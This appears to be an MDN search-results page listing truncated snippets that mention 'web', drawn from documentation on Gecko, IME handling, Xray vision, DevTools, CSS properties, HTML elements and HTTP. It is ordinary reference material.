Web developers, using open and recommended Internet standards instead of proprietary APIs. You are encouraged to join this team by getting involved. How does Mozilla use Gecko?
...e future, enabling faster time to market, more innovation, less costly development, easier distribution and updating, and better cross platform support. How can other companies and organizations use Gecko? Because Gecko is small, lightweight, and open source, other companies and organizations can easily reuse it. Many hardware vendors are creating devices with network access and wish to include
web browsing functionality. Likewise, many software developers want to include
Web browsing capability in their applications, but don't want to independently develop browser software. These developers can pick and choose the browser components they want from among those that Gecko offers, and package these components alongside their own within their finished products. Which open standards is the Gec...
...And 3 more matches
IME handling guide
change of length of clauses, a widget dispatches WidgetCompositionEvent with eCompositionChange event. It will cause a DOM compositionupdate event when composition string is changing. That is dispatched by TextComposition automatically. After that when the widget and PresShell of the focused editor have not been destroyed yet, the eCompositionChange will cause a DOM text event which is not in any
web standards. When native IME notifies Gecko of the ending of a composition, a widget dispatches WidgetCompositionEvent with eCompositionCommitAsIs or eCompositionCommit. If the committing string is different from the last set of data (i.e., if the event message is eCompositionCommit), TextComposition dispatches a DOM compositionupdate event. After that, when the widget and PresShell of the focused...
...angeData::mCausedBySelectionEvent is set to true. This is useful if native IME handler wants to ignore the last selection change which was requested by native IME. If the last selection is occurred during a composition, IMENotification::mSelectionChangeData::mOccurredDuringComposition is set to true. This is useful if native IME handler wants to ignore the last selection change which occurred by
web application's compositionstart or compositionupdate event handler before inserting composition string. NOTIFY_IME_OF_POSITION_CHANGE When reflow or scroll occurs in the document, this is sent to widget. But this is sent only when result of nsIWidget::GetIMEUpdatePreference() includes NOTIFY_POSITION_CHANGE. This might be useful to update a candidate window position or something. NOTIFY_IME_OF...
...ee IMENotification::mMouseButtonEventData in IMEData.h for the detail. If native IME supports mouse button event handling, widget should notify IME of mouse button events with this. If IME consumes an event, widget should return NS_SUCCESS_EVENT_CONSUMED from nsIWidget::NotifyIME(). Then, nsEditor doesn't handle the mouse event. Note that if a mousedown event or a mouseup event is consumed by a
web application (before a focused editor handles it), this notification is not sent to widget. This means that
web applications can handle mouse button events before IME. Requests to IME XP part of Gecko can request IME to commit or cancel composition. This must be requested via IMEStateManager::NotifyIME(). Then, IMEStateManager looks for a proper TextComposition instance. If it's found, TextCompo...
...And 3 more matches
Mozilla Projects
ning Firefox or another application. Crash reporting Firefox ships with an open-source crash reporting system. This system is combination of projects: Emscripten Emscripten is an LLVM to JavaScript compiler. It takes LLVM bytecode (e.g. generated from C/C++ using Clang, or from another language) and compiles that into JavaScript, which can be run on the
Web. Firefox Sync Firefox Sync synchronizes state and configuration data used by the browser, such as bookmarks, history, preferences, bookmarks, and so forth among all your devices. JSHydra JSHydra is a static analysis tool that is capable of performing analysis of general JavaScript code. L20n L20n lets local...
...es. More information on how TSan works can be found on the Thread Sanitizer wiki. TPS Tests TPS is an end to end test for Sync. It's name stands for Testing and Profiling tool for Sync (which is a misnomer, since it doesn't do any profiling), and it should not be confused with the similarly named tests in Talos. ...
...works can be found on the Thread Sanitizer wiki. TPS Tests TPS is an end to end test for Sync. It's name stands for Testing and Profiling tool for Sync (which is a misnomer, since it doesn't do any profiling), and it should not be confused with the similarly named tests in Talos. ...
...And 3 more matches
Xray vision
native version of the objects. Gecko runs JavaScript from a variety of different sources and at a variety of different privilege levels. The JavaScript code that along with the C++ core, implements the browser itself is called chrome code and runs using system privileges. If chrome-privileged code is compromised, the attacker can take over the user's computer. JavaScript loaded from normal
web pages is called content code. Because this code is being loaded from arbitrary
web pages, it is regarded as untrusted and potentially hostile, both to other
websites and to the user. As well as these two levels of privilege, chrome code can create sandboxes. The security principal defined for the sandbox determines its privilege level. If an Expanded Principal is used, the sandbox is granted cer...
...The security machinery in Gecko ensures that there's asymmetric access between code at different privilege levels: so for example, content code can't access objects created by chrome code, but chrome code can access objects created by content. However, even the ability to access content objects can be a security risk for chrome code. JavaScript's a highly malleable language. Scripts running in
web pages can add extra properties to DOM objects (also known as expando properties) and even redefine standard DOM objects to do something unexpected. If chrome code relies on such modified objects, it can be tricked into doing things it shouldn't. For example: window.confirm() is a DOM API that's supposed to ask the user to confirm an action, and return a boolean depending on whether they clicke...
...roperties to DOM objects (also known as expando properties) and even redefine standard DOM objects to do something unexpected. If chrome code relies on such modified objects, it can be tricked into doing things it shouldn't. For example: window.confirm() is a DOM API that's supposed to ask the user to confirm an action, and return a boolean depending on whether they clicked "OK" or "Cancel". A
web page could redefine it to return true: window.confirm = function() { return true; } Any privileged code calling this function and expecting its result to represent user confirmation would be deceived. This would be very naive, of course, but there are more subtle ways in which accessing content objects from chrome can cause security problems. This is the problem that Xray vision is designed ...
...And 3 more matches
Shader Editor - Firefox Developer Tools
Note: This tool has been deprecated and will soon be removed from Firefox. For details, see Deprecated tools. The Shader Editor enables you to see and edit the vertex and fragment shaders used by
WebGL.
WebGL is a JavaScript API for rendering interactive 3D graphics and 2D graphics in the browser without using plugins. ...
... Note: This tool has been deprecated and will soon be removed from Firefox. For details, see Deprecated tools. The Shader Editor enables you to see and edit the vertex and fragment shaders used by
WebGL.
WebGL is a JavaScript API for rendering interactive 3D graphics and 2D graphics in the browser without using plugins. ...
...s in the browser without using plugins. With
WebGL you provide 2 programs called shaders which are called at the appropriate stages of the OpenGL rendering pipeline: a vertex shader, which computes the clip space coordinates of each vertex to be drawn, and a fragment shader, which determines the color for each pixel to be drawn. These shaders are written in OpenGL Shading Language, or GLSL. In
WebGL they can be included in a page in several ways: as text hardcoded in JavaScript strings, as separate files included using <script> tags, or retrieved from the server as plain text. JavaScript code running in the page then sends them for compilation using the
WebGL APIs, and they're executed on the device's GPU when needed. With the Shader Editor, you can examine and edit the source of the vert...
...And 3 more matches
The JavaScript input interpreter - Firefox Developer Tools
It has two modes: single-line entry and multi-line entry. Single-line mode For single-line entry, you can type JavaScript expressions in the field at the bottom of the console log, at the >> prompt. To enter expressions in single-line mode, type at the prompt and press Enter. To enter multi-line expressions, press Shift+Enter after typing each line, then Enter to run all the entered lines. The expression you type is echoed under the input prompt, followed by the result. ...
...and then Enter, the Console does not immediately execute the input, but behaves as if you had pressed Shift+Enter , so you can finish entering the function definition. Multi-line mode For multi-line entry, click the "split pane" icon at the right hand side of the single-line entry field, or press Ctrl+B (Windows/Linux) or Cmd+B (macOS). The multi-line editing pane opens on the left side the of
Web Console. You can enter multiple lines of JavaScript by default in this mode, pressing Enter after each one. To execute the snippet that is currently in the editing pane, click the Run button or press Ctrl+Enter (or Cmd+Return on MacOS). The snippet is echoed under the input prompt (in the right-side pane), followed by the result. You can also select a range of lines in the editing pane, and ru...
...nsole autocomplete suggestions are case-insensitive. The console suggests completions from the scope of the currently executing stack frame. This means that if you've hit a breakpoint in a function you get autocomplete for objects local to the function. You get autocomplete suggestions for array elements, as well: You can enable or disable autocompletion via the Settings ("gear") menu in the
Web Console toolbar. The menuitem Enable Autocompletion has a checkmark next to it when the feature is enabled, which is missing when it is disabled. Select the menuitem to change the state. Instant evaluation This feature is available in Firefox Nightly, in versions labeled 74 and later. When the "instant evaluation" feature is enabled, the interpreter displays results of expressions as you're ...
...And 3 more matches
Border-radius generator - CSS: Cascading Style Sheets
ponent */ .ui-input-slider-container { height: 20px; margin: 10px 0; font-family: "Segoe UI", Arial, Helvetica, sans-serif; -moz-user-select: none; user-select: none; } .ui-input-slider-container * { float: left; height: 100%; line-height: 100%; } /* Input Slider */ .ui-input-slider > input { margin: 0; padding: 0; width: 50px; text-align: center; -moz-box-sizing: border-box; -
webkit-box-sizing: border-box; box-sizing: border-box; } .ui-input-slider-info { width: 90px; padding: 0px 10px 0px 0px; text-align: right; text-transform: lowercase; } .ui-input-slider-left, .ui-input-slider-right { width: 16px; cursor: pointer; background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center left no-repeat; } .ui-input-slider-right { background: url("https:/...
...9FC9; border-radius: 5px; color: #FFF; font-weight: bold; line-height: 14px; text-align: center; } .ui-input-slider-btn-set:hover { background-color: #379B4A; cursor: pointer; } /* * UI Component */ /* Checkbox */ .ui-checkbox { text-align: center; font-size: 16px; font-family: "Segoe UI", Arial, Helvetica, sans-serif; line-height: 1.5em; color: #FFF; -moz-user-select: none; -
webkit-user-select: none; -ms-user-select: none; user-select: none; } .ui-checkbox > input { display: none; } .ui-checkbox > label { font-size: 12px; padding: 0.333em 1.666em 0.5em; height: 1em; line-height: 1em; background-color: #888; background-image: url("https://mdn.mozillademos.org/files/5683/disabled.png"); background-position: center center; background-repeat: no-repeat; colo...
...padding-left: 1.666em; background-position: center right 10px; } .ui-checkbox > label:hover { cursor: pointer; } .ui-checkbox > input:checked + label { background-image: url("https://mdn.mozillademos.org/files/5681/checked.png"); background-color: #379B4A; } body { max-width: 1000px; margin: 0 auto; font-family: "Segoe UI", Arial, Helvetica, sans-serif; -moz-box-sizing: border-box; -
webkit-box-sizing: border-box; box-sizing: border-box; -moz-user-select: none; -
webkit-user-select: none; -ms-user-select: none; user-select: none; } #container { width: 100%; -moz-box-sizing: border-box; -
webkit-box-sizing: border-box; box-sizing: border-box; } /******************************************************************************/ /*********************************************...
...And 3 more matches
column-count - CSS: Cascading Style Sheets
oduleThe definition of 'column-count' in that specification. Working Draft Initial definition. Browser compatibility The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...leChromeEdgeFirefoxInternet ExplorerOperaSafariAndroid
webviewChrome for AndroidFirefox for AndroidOpera for AndroidSafari on iOSSamsung Internetcolumn-countChrome Full support 50 Full support 50 Full support 1Prefixed Prefixed Implemented with the vendor prefix: -
webkit-Edge Full support 12 Full support 12 Full support 12Prefixed Prefixed Implemented with the vendor prefix: -
webkit-Firefox Full support 52 Full support 52 No ...
...es Prior to version 37, multiple columns didn't work with display: table-caption elements.IE Full support 10Opera Full support 11.1 Full support 11.1 Full support 15Prefixed Prefixed Implemented with the vendor prefix: -
webkit-Safari Full support 9 Full support 9 Full support 3Prefixed Prefixed Implemented with the vendor prefix: -
webkit-
WebView Android Full support 50 Full support 50 ...
...And 3 more matches
font-variant - CSS: Cascading Style Sheets
vel 1The definition of 'font-variant' in that specification. Recommendation Initial definition Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...variantChrome Full support 1Edge Full support 12Firefox Full support 1IE Full support 4Opera Full support 3.5Safari Full support 1
WebView Android Full support 1Chrome Android Full support 18Firefox Android Full support 4Opera Android Full support 11Safari iOS Full support 1Samsung Internet Android ...
...isabled From version 33 until version 34 (exclusive): this feature is behind the layout.css.font-features.enabled preference (needs to be set to true). ...
...And 3 more matches
mask-border - CSS: Cascading Style Sheets
match the size of a single diamond, we will use a value of 90 divided by 3, or 30, for slicing the image into corner and edge regions. A repeat value of round will make the mask slices fit evenly, i.e., without clipping or gaps. ...
...e image into corner and edge regions. A repeat value of round will make the mask slices fit evenly, i.e., without clipping or gaps. ...
...eat value of round will make the mask slices fit evenly, i.e., without clipping or gaps. ...
...And 3 more matches
transform-origin - CSS: Cascading Style Sheets
[ [ <length-percentage> | left | center | right ] && [ <length-percentage> | top | center | bottom ] ] <length>?where <length-percentage> = <length> | <percentage> Examples Code Sample transform: none; <div class="box1"> </div> .box1 { margin: 0.5em; width: 3em; height: 3em; border: solid 1px; background-color: palegreen; transform: none; -
webkit-transform: none; } transform: rotate(30deg); <div class="box2"> </div> .box2 { margin: 0.5em; width: 3em; height: 3em; border: solid 1px; background-color: palegreen; transform: rotate(30deg); -
webkit-transform: rotate(30deg); } transform: rotate(30deg); transform-origin: 0 0; <div ...
...5em; width: 3em; height: 3em; border: solid 1px; background-color: palegreen; transform: rotate(30deg); -
webkit-transform: rotate(30deg); } transform: rotate(30deg); transform-origin: 0 0; <div class="box3"> </div> .box3 { margin: 0.5em; width: 3em; height: 3em; border: solid 1px; background-color: palegreen; transform-origin: 0 0; -
webkit-transform-origin: 0 0; transform: rotate(30deg); -
webkit-transform: rotate(30deg); } transform: rotate(30deg); transform-origin: 100% 100%; <div class="box4"> </div> .box4 { margin: 0.5em; width: 3em; height: 3em; border: solid 1px; background-color: palegreen; transform-origin: 100% 100%; -
webkit-transform-origin: 100% 100%; tra...
...0; transform: rotate(30deg); -
webkit-transform: rotate(30deg); } transform: rotate(30deg); transform-origin: 100% 100%; <div class="box4"> </div> .box4 { margin: 0.5em; width: 3em; height: 3em; border: solid 1px; background-color: palegreen; transform-origin: 100% 100%; -
webkit-transform-origin: 100% 100%; transform: rotate(30deg); -
webkit-transform: rotate(30deg); } transform: rotate(30deg); transform-origin: -1em -3em; <div class="box5"> </div> .box5 { margin: 0.5em; width: 3em; height: 3em; border: solid 1px; background-color: palegreen; transform-origin: -1em -3em; -
webkit-transform-origin: -1em -3em; transform: rotate(30deg); -
webkit-transform: rotate(30deg); ...
...And 3 more matches
CSS: Cascading Style Sheets
Cascading Style Sheets (CSS) is a stylesheet language used to describe the presentation of a document written in HTML or XML (including XML dialects such as SVG, MathML or XHTML). CSS describes how elements should be rendered on screen, on paper, in speech, or on other media. CSS among the core languages of the open
Web and is standardized across
Web browsers according to the W3C specification. Previously development of various parts of CSS specification was done synchronously, which allowed versioning of the latest recommendation. You might have heard about CSS1, CSS2.1, CSS3. However, CSS4 has never become an official version. From CSS3, the scope of the specification increased significantly and the progress on different CSS modules started to differ so much, that it became more effectiv...
... CSS3, the scope of the specification increased significantly and the progress on different CSS modules started to differ so much, that it became more effective to develop and release recommendations separately per module. Instead of versioning the CSS specification, W3C now periodically takes a snapshot of the latest stable state of the CSS specification. CSS Introduction If you're new to
web development, be sure to read our CSS basics article to learn what CSS is and how to use it. CSS Tutorials Our CSS learning area contains a wealth of tutorials to take you from beginner level to proficiency, covering all the fundamentals. CSS Reference Our exhaustive CSS reference for seasoned
Web developers describes every property and concept of CSS. Looking to become a front-end ...
... development, be sure to read our CSS basics article to learn what CSS is and how to use it. CSS Tutorials Our CSS learning area contains a wealth of tutorials to take you from beginner level to proficiency, covering all the fundamentals. CSS Reference Our exhaustive CSS reference for seasoned
Web developers describes every property and concept of CSS. ...
...And 3 more matches
<element>: The Custom Element element (Obsolete) - HTML: Hypertext Markup Language
It was removed in favor of a JavaScript-driven approach for creating new custom elements. Note: This element has been removed from the specification. See this for more information from the editor of the specification. Content categories Transparent content. Permitted content ??? Tag omission None, both the starting and ending tag are mandatory. Permitted parent elements ??? DOM interface HTMLElement Attributes This element includes the global attributes. ...
...ns The <element> element was formerly in a draft specification of Custom Elements but it has been removed. Browser compatibility The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...
webviewChrome for AndroidFirefox for AndroidOpera for AndroidSafari on iOSSamsung Internetelement DeprecatedNon-standardChrome ? Edge ? Firefox No support NoIE No support NoOpera ? Safari ?
WebView Android ? Chrome Android ? Firefox Android No support NoOpera Android ? Safari iOS ? Samsung Internet Android ? Legend No support N...
...And 3 more matches
<img>: The Image Embed element - HTML: Hypertext Markup Language
c size of the image, allowing it to take up space before it loads, to mitigate content layout shifts. Responsive image hints with sizes and srcset (see also the <picture> element and our Responsive images tutorial). Supported image formats The HTML standard doesn't list what image formats to support, so each user agent supports different formats. A complete guide to image formats supported by
web browsers is available. Below is a list of the image formats that are most commonly used on the
web, as well as some older formats that should no longer be used, despite existing content possibly still using them. Abbreviation File format MIME type File extension(s) Browser compatibility APNG Animated Portable Network Graphics image/apng .apng Chrome,...
... Image loading errors If an error occurs while loading or ...
... Image loading errors If an error occurs while loading or renderin...
...And 3 more matches
Link types - HTML: Hypertext Markup Language
ink for the section that the element is most closely associated to. This allows for bookmarking a single article in a page containing multiple articles, such as on a monthly summary blog page, or a blog aggregator. <a>, <area> <link>, <form> canonical From Wikipedia, the free encyclopedia: Canonical_link_element A canonical link element is an HTML element that helps
webmasters prevent duplicate content issues by specifying the "canonical" or "preferred" version of a
web page as part of search engine optimization. <link> <a>, <area>, <form> dns-prefetch Hints to the browser that a resource is needed, allowing the browser to do a DNS lookup and protocol handshaking before a user clicks the link. <link> <a>, <area>, <form> externa...
...elect the most appropriate icon. If several icons are equally appropriate, the last one is used. If the most appropriate icon is later found to be inappropriate, for example because it uses an unsupported format, the browser proceeds to the next-most appropriate, and so on. Note: Apple's iOS does not use this link type, nor the sizes attribute, like others mobile browsers do, to select a
webpage icon for
Web Clip or a start-up placeholder. Instead it uses the non-standard apple-touch-icon and apple-touch-startup-image respectively. The shortcut link type is often seen before icon, but this link type is non-conforming, ignored and
web authors must not use it anymore. <link> <a>, <area>, <form> import HTML Imports <link> <a>, <area>, <form> i...
...on. If not inside the <head> element, the standard doesn't distinguish between a hyperlink applying to a specific part of the document or to the document as a whole. Only the data on the page can indicate this. Note: Although recognized, the synonym copyright is incorrect and must be avoided. <a>, <area>, <form>, <link> None. manifest Indicates that the linked file is a
Web App Manifest. <link> <a>, <area>, <form> modulepreload Initiates early (and high-priority) loading of module scripts. <link> <a>, <area>, <form> next Indicates that the hyperlink leads to the next resource of the sequence the current page is in. Note: Other link types related to linking resources in the same sequence are first, prev, last. <a>, <are...
...And 3 more matches
Microdata - HTML: Hypertext Markup Language
Microdata uses a supporting vocabulary to describe an item and name-value pairs to assign values to its properties. ...
...Microdata uses a supporting vocabulary to describe an item and name-value pairs to assign values to its properties. ...
...Microdata uses a supporting vocabulary to describe an item and name-value pairs to assign values to its properties. ...
...And 3 more matches
Preloading content with rel="preload" - HTML: Hypertext Markup Language
trivial, as the browser probably discovers the <link rel="stylesheet"> and <script> elements in the same chunk of HTML as the preloads, but the benefits can be seen much more clearly the later resources are discovered and the larger they are. For example: Resources that are pointed to from inside CSS, like fonts or images. Resources that JavaScript can request, like JSON, imported scripts, or
web workers. Larger images and video files. preload has other advantages too. Using as to specify the type of content to be preloaded allows the browser to: Prioritize resource loading more accurately. Store in the cache for future requests, reusing the resource if appropriate. Apply the correct content security policy to the resource. Set the correct Accept request headers for it. What ty...
...dio>. document: An HTML document intended to be embedded by a <frame> or <iframe>. embed: A resource to be embedded inside an <embed> element. fetch: Resource to be accessed by a fetch or XHR request, such as an ArrayBuffer or JSON file. font: Font file. image: Image file. object: A resource to be embedded inside an <object> element. script: JavaScript file. style: CSS stylesheet. track:
WebVTT file. worker: A JavaScript
web worker or shared worker. video: Video file, as typically used in <video>. Note: There's more detail about these values and the
web features they expect to be consumed by in the Preload spec -- see link element extensions. Also note that the full list of values the as attribute can take is governed by the Fetch spec -- see request destinations. Including a ...
...e value to work out if it supports that resource, and will only download it if so, ignoring it if not. You can see an example of this in our video example (see the full source code, and also the live version): <head> <meta charset="utf-8"> <title>Video preload example</title> <link rel="preload" href="sintel-short.mp4" as="video" type="video/mp4"> <link rel="preload" href="sintel-short.
webm" as="video" type="video/
webm"> </head> <body> <video controls> <source src="sintel-short.mp4" type="video/mp4"> <source src="sintel-short.
webm" type="video/
webm"> <p>Your browser doesn't support HTML5 video. Here is a <a href="sintel-short.mp4">link to the video</a> instead.</p> </video> </body> So in this case, browsers that support MP4s will preload and use the MP4, making the...
...And 3 more matches
Resource URLs - HTTP
There may also be large incompatibilities between implementations and the behavior may change in the future. Resource URLs, URLs prefixed with the resource: scheme, are used by Firefox and Firefox browser extensions to load resources internally, but some of the information is available to sites the browser connects to as well. ...
...er connects to as well. ...
...und in the resource URL's ('->'), it means that the first file loaded the next one: resource://<File-loader> -> <File-loaded> Please refer to Identifying resources on the
web for more general details. In this article, we focus on resource URIs, which are used internally by Firefox to point to built-in resources. Threats Because some of the information shared by resource: URLs is available to
websites, a
web page could run internal scripts and inspect internal resources of Firefox, including the default preferences, which could be a serious security and privacy issue. For example, a script on Browserleaks highlights what Firefox reveals when queried by a simple script running on the site (you can find the code in https://browserleaks.com/firefox#more). The file firefox.js passes prefere...
...And 3 more matches
Connection management in HTTP/1.x - HTTP
In HTTP/1.x, there are several models: short-lived connections, persistent connections, and HTTP pipelining. HTTP mostly relies on TCP for its transport protocol, providing a connection between the client and the server. In its infancy, HTTP used a single model to handle such connections. These connections were short-lived: a new one created each time a request needed sending, and closed once the answer had been received. ...
...s were short-lived: a new one created each time a request needed sending, and closed once the answer had been received. This simple model held an innate limitation on performance: opening each TCP connection is a resource-consuming operation. Several messages must be exchanged between the client and the server. Network latency and bandwidth affect performance when a request needs sending. Modern
Web pages require many requests (a dozen or more) to serve the amount of information needed, proving this earlier model inefficient. Two newer models were created in HTTP/1.1. The persistent-connection model keeps connections opened between successive requests, reducing the time needed to open new connections. The HTTP pipelining model goes one step further, by sending several successive requests wi...
...odel between a proxy and the destination server (or any intermediate proxies). The HTTP headers involved in defining the connection model, like Connection and Keep-Alive, are hop-by-hop headers with their values able to be changed by intermediary nodes. A related topic is the concept of HTTP connection upgrades, wherein an HTTP/1.1 connection is upgraded to a different protocol, such as TLS/1.0,
WebSocket, or even HTTP/2 in cleartext. This protocol upgrade mechanism is documented in more detail elsewhere. Short-lived connections The original model of HTTP, and the default one in HTTP/1.0, is short-lived connections. Each HTTP request is completed on its own connection; this means a TCP handshake happens before each HTTP request, and these are serialized. The TCP handshake itself is time-c...
...And 3 more matches
Link prefetching FAQ - HTTP
When the user visits one of the prefetched documents, it can be served up quickly out of the browser's cache. Does prefetching work with HTTPS? Starting in Gecko 1.9.1 (Firefox 3.5), HTTPS content can be prefetched. ...
...ed. However, if there is sufficient interest, we may expand link prefetching support to include prefetching <a> tags, which include a relation type of next or prefetch in the future. Doing so would probably help content providers avoid the problem of stale prefetching links. Is link prefetching standards compliant? Yes, link prefetching as outlined in this document does not violate any existing
web standards. In fact, the HTML 4.01 specification explicitly allows for the definition of new link relation types (see Section 6.12: Link types). However, the exact mechanism employed by Mozilla is not yet standardized. An Internet-Draft is in the works. Standardization of this technique is part of the scope of HTML 5, see the current working draft, section ?5.11.3.13. Link type "prefetch". How i...
...ee Section 6.12: Link types). However, the exact mechanism employed by Mozilla is not yet standardized. An Internet-Draft is in the works. Standardization of this technique is part of the scope of HTML 5, see the current working draft, section ?5.11.3.13. Link type "prefetch". How is browser idle time determined? In the current implementation (Mozilla 1.2), idle time is determined using the nsI
WebProgressListener API. We attach a listener to the toplevel nsI
WebProgress object ("@mozilla.org/docloaderservice;1"). From this, we receive document start & stop notifications, and we approximate idle time as the period between the last document stop and the next document start. The last document stop notification occurs roughly when the onLoad handler would fire for the toplevel document. This is...
...And 3 more matches
Proxy servers and tunneling - HTTP
A proxy can be on the user's local computer, or anywhere between the user's computer and a destination server on the Internet. This page outlines some basics about proxies and introduces a few configuration options. There are two types of proxies: forward proxies (or tunnel, or gateway) and reverse proxies (used to control and protect access to a server for load-balancing, authentication, decryption or caching). ...
...r gateway) and reverse proxies (used to control and protect access to a server for load-balancing, authentication, decryption or caching). Forward proxies A forward proxy, or gateway, or just "proxy" provides proxy services to a client or a group of clients. There are likely hundreds of thousands of open forward proxies on the Internet. They store and forward Internet services (like the DNS, or
web pages) to reduce and control the bandwidth used by the group. Forward proxies can also be anonymous proxies and allow users to hide their IP address while browsing the
Web or using other Internet services. TOR (The Onion Router), routes internet traffic through multiple proxies for anonymity. Reverse proxies As the name implies, a reverse proxy does the opposite of what a forward proxy does: A...
...e name implies, a reverse proxy does the opposite of what a forward proxy does: A forward proxy acts in behalf of clients (or requesting hosts), a reverse proxy acts in behalf of servers. Forward proxies can hide the identities of clients whereas reverse proxies can hide the identities of servers. Reverse proxies have several use cases, a few are: Load balancing: distribute the load to several
web servers, Cache static content: offload the
web servers by caching static content like pictures, Compression: compress and optimize content to speed up load time. Forwarding client information through proxies Proxies can make requests appear as if they originated from the proxy's IP address. This can be useful if a proxy is used to provide client anonymity, but in other cases information from...
...And 3 more matches
Redirections in HTTP - HTTP
HTTP has a special kind of response, called a HTTP redirect, for this operation. Redirects accomplish numerous goals: Temporary redirects during site maintenance or downtime Permanent redirects to preserve existing links/bookmarks after changing the site's URLs, progress pages when uploading a file, etc. Principle In HTTP, redirection is triggered by a server sending a special redirect response to a request. ...
...ast forever. They imply that the original URL should no longer be used, and replaced with the new one.Search engine robots, RSS readers, and other crawlers will update the original URL for the resource. Code Text Method handling Typical use case 301 Moved Permanently GET methods unchanged. Others may or may not be changed to GET.[1] Reorganization of a
Web site. 308 Permanent Redirect Method and body not changed. Reorganization of a
Web site, with non-GET links/operations. [1] The specification did not intend to allow method changes, but there are existing user agents that do change their method. 308 was created to remove the ambiguity of the behavior when using non-GET methods. Temporary redirections Sometimes the reques...
...temporary redirect can be used. Search engine robots and other crawlers don't memorize the new, temporary URL. Temporary redirections are also used when creating, updating, or deleting resources, to show temporary progress pages. Code Text Method handling Typical use case 302 Found GET methods unchanged. Others may or may not be changed to GET.[2] The
Web page is temporarily unavailable for unforeseen reasons. 303 See Other GET methods unchanged. Others changed to GET (body lost). Used to redirect after a PUT or a POST, so that refreshing the result page doesn't re-trigger the operation. 307 Temporary Redirect Method and body not changed The
Web page is temporarily unavailable for unforeseen reasons. Better ...
...And 3 more matches
HTTP resources and specifications - HTTP
Proposed Standard RFC 7538 The Hypertext Transfer Protocol Status Code 308 (Permanent Redirect) Proposed Standard RFC 7725 An HTTP Status Code to Report Legal Obstacles On the standard track RFC 2397 The "data" URL scheme Proposed Standard RFC 3986 Uniform Resource Identifier (URI): Generic Syntax Internet Standard RFC 5988
Web Linking Defines the Link header Proposed Standard Experimental spec Hypertext Transfer Protocol (HTTP) Keep-Alive Header Informational (Expired) Draft spec HTTP Client Hints IETF Draft RFC 7578 Returning Values from Forms: multipart/form-data Proposed Standard RFC 6266 Use of the Content-Disposition Header Field in the Hypertext Tran...
... the Hypertext Transfer Protocol (HTTP) Proposed Standard RFC 2183 Communicating Presentation Information in Internet Messages: The Content-Disposition Header Field Only a subset of syntax of the Content-Disposition header can be used in the context of HTTP messages. Proposed Standard RFC 7239 Forwarded HTTP Extension Proposed Standard RFC 6455 The
WebSocket Protocol Proposed Standard RFC 5246 The Transport Layer Security (TLS) Protocol Version 1.2 This specification has been modified by subsequent RFCs, but these modifications have no effect on the HTTP protocol. Proposed Standard RFC 8446 The Transport Layer Security (TLS) Protocol Version 1.3 Supersedes TLS 1.2. Proposed Standard RFC 2817 ...
...ndard RFC 7541 HPACK: Header Compression for HTTP/2 On the standard track RFC 7838 HTTP Alternative Services On the standard track RFC 7301 Transport Layer Security (TLS) Application-Layer Protocol Negotiation Extension Used to negotiate HTTP/2 at the transport to save an extra request/response round trip. Proposed Standard RFC 6454 The
Web Origin Concept Proposed Standard FetchThe definition of 'CORS' in that specification. Cross-Origin Resource Sharing Living Standard RFC 7034 HTTP Header Field X-Frame-Options Informational RFC 6797 HTTP Strict Transport Security (HSTS) Proposed Standard Upgrade Insecure Requests Upgrade Insecure Requests Candidate Recommendation ...
...And 3 more matches
HTTP
HTTP follows a classical client-server model, with a client opening a connection to make a request, then waiting until it receives a response. HTTP is a stateless protocol, meaning that the server does not keep any data (state) between two requests. ...
...an be used on any reliable transport layer, that is, a protocol that doesn't lose messages silently like UDP does. RUDP -- the reliable update of UDP -- is a suitable alternative. Tutorials Learn how to use HTTP with guides and tutorials. Overview of HTTP The basic features of the client-server protocol: what it can do and its intended uses. HTTP Cache Caching is very important for fast
Web sites. This article describes different methods of caching and how to use HTTP Headers to control them. HTTP Cookies How cookies work is defined by RFC 6265. When serving an HTTP request, a server can send a Set-Cookie HTTP header with the response. The client then returns the cookie's value with every request to the same server in the form of a Cookie request header. The cookie can also be set...
...ire on a certain date, or restricted to a specific domain and path. Cross-Origin Resource Sharing (CORS) Cross-site HTTP requests are HTTP requests for resources from a different domain than the domain of the resource making the request. For instance, an HTML page from Domain A (http://domaina.example/) makes a request for an image on Domain B (http://domainb.foo/image.jpg) via the img element.
Web pages today very commonly load cross-site resources, including CSS stylesheets, images, scripts, and other resources. CORS allows
web developers to control how their site reacts to cross-site requests. Evolution of HTTP A brief description of the changes between the early versions of HTTP, to the modern HTTP/2, the emergent HTTP/3 and beyond. Mozilla
web security guidelines A collection of...
...And 3 more matches
JavaScript technologies overview - JavaScript
One of them is the core language (ECMAScript), another is the collection of the
Web APIs, including the DOM (Document Object Model). JavaScript, the core language (ECMAScript) The core language of JavaScript is standardized by the ECMA TC39 committee as a language named ECMAScript. This core language is also used in non-browser environments, for example in node.js. ...
... Introduction Whereas HTML defines a
webpage's structure and content and CSS sets the formatting and appearance, JavaScript adds interactivity to a
webpage and creates rich
web applications. However, the umbrella term "JavaScript" as understood in a
web browser context contains several very different elements. One of them is the core language (ECMAScript), another is the collection of the
Web APIs, including the DOM (Document Object Model). JavaScript, the core language (ECMAScript) The core language of JavaScript is standardized by the ECMA TC39 committee as a language named ECMAScript. This core language is also used in non-browser environments, for example in node.js. What falls under the ECMAScript scope? Among other things, ECMAScript defines: Language syntax (parsing rules, ke...
... a browser, this global object is the window object, but ECMAScript only defines the APIs not specific to browsers, e.g. parseInt, parseFloat, decodeURI, encodeURI... A prototype-based inheritance mechanism Built-in objects and functions (JSON, Math, Array.prototype methods, Object introspection methods, etc.) Strict mode Browser support As of October 2016, the current versions of the major
Web browsers implement ECMAScript 5.1 and ECMAScript 2015, but older versions (still in use) implement ECMAScript 5 only. Future The major 6th Edition of ECMAScript was officially approved and published as a standard on June 17, 2015 by the ECMA General Assembly. Since then ECMAScript Editions are published on a yearly basis. Internationalization API The ECMAScript Internationalization API Specif...
...And 3 more matches
SVG documentation index - SVG: Scalable Vector Graphics
Found 383 pages: # Page Tags and summary 1 SVG: Scalable Vector Graphics 2D Graphics, Graphics, Icons, Images, Reference, Responsive Design, SVG, Scalable Graphics, Scalable Images, Vector Graphics,
